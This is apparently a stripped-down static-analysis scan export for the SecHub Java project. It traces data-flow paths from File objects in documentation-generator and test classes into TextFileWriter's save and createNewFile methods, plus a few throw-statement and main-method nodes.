sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 11 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 12 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 13 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 14 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 15 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 16 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 17 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 18 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 19 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 21 + 1 + File + + 3 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 2 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 3 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 97 + 10 + 1 + File + + 3 + + + 97 + return new File(genFolder, "gen_messaging.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 49 + 2 + createMessagingTargetFile + + 1 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 8 + 3 + messagingFile + + 13 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 36 + 4 + messagingFile + + 13 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 43 + 5 + messagingFile + + 13 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 56 + 6 + messagingFile + + 13 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 42 + 7 + messagingFile + + 13 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 60 + 15 + 8 + messagingFile + + 13 + + + 60 + writer.save(messagingFile, sb.toString()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 21 + 1 + File + + 3 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 2 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 3 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 22 + 1 + File + + 3 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 8 + 2 + targetFile2 + + 11 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 75 + 15 + 3 + targetFile2 + + 11 + + + 75 + writer.save(targetFile2, usecaseRestDoc); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 78 + 22 + 1 + File + + 3 + + + 78 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 78 + 8 + 2 + targetFile3 + + 11 + + + 78 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 79 + 15 + 3 + targetFile3 + + 11 + + + 79 + writer.save(targetFile3, usecaseRestDocUserDocumentation); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 1 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 5 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 6 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 7 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 8 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 38 + 1 + File + + 3 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 2 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 3 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 28 + 15 + 1 + File + + 3 + + + 28 + File file = new File(System.getProperty("java.io.tmpdir")); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 28 + 8 + 2 + file + + 4 + + + 28 + File file = new File(System.getProperty("java.io.tmpdir")); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 29 + 29 + 3 + file + + 4 + + + 29 + File subFolder = new File(file, "subFolder"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 29 + 8 + 4 + subFolder + + 9 + + + 29 + File subFolder = new File(file, "subFolder"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 30 + 5 + subFolder + + 9 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 8 + 6 + targetFile + + 10 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 31 + 3 + 7 + targetFile + + 10 + + + 31 + targetFile.deleteOnExit(); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 34 + 21 + 8 + targetFile + + 10 + + + 34 + writerToTest.save(targetFile, "text"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 29 + 20 + 1 + File + + 3 + + + 29 + File subFolder = new File(file, "subFolder"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 29 + 8 + 2 + subFolder + + 9 + + + 29 + File subFolder = new File(file, "subFolder"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 30 + 3 + subFolder + + 9 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 8 + 4 + targetFile + + 10 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 31 + 3 + 5 + targetFile + + 10 + + + 31 + targetFile.deleteOnExit(); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 34 + 21 + 6 + targetFile + + 10 + + + 34 + writerToTest.save(targetFile, "text"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 21 + 1 + File + + 3 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 30 + 8 + 2 + targetFile + + 10 + + + 30 + File targetFile = new File(subFolder, "targetFile"); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 31 + 3 + 3 + targetFile + + 10 + + + 31 + targetFile.deleteOnExit(); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 34 + 21 + 4 + targetFile + + 10 + + + 34 + writerToTest.save(targetFile, "text"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 5 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 6 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 7 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 8 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 9 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 10 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 11 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 12 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 21 + 1 + File + + 3 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 2 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 3 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 22 + 1 + File + + 3 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 9 + 2 + targetFile + + 10 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 198 + 16 + 3 + targetFile + + 10 + + + 198 + writer.save(targetFile, sb.toString(), true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 205 + 4 + 1 + ThrowStmt + + 5 + + + 205 + throw new IllegalStateException(getClass().getName()+" does not return a child of AbstractAdapterConfig!"); + + + + + sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestApplication.java + 14 + 21 + 2 + main + + 4 + + + 14 + public static void main(String[] args) throws Exception { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 276 + 4 + 1 + ThrowStmt 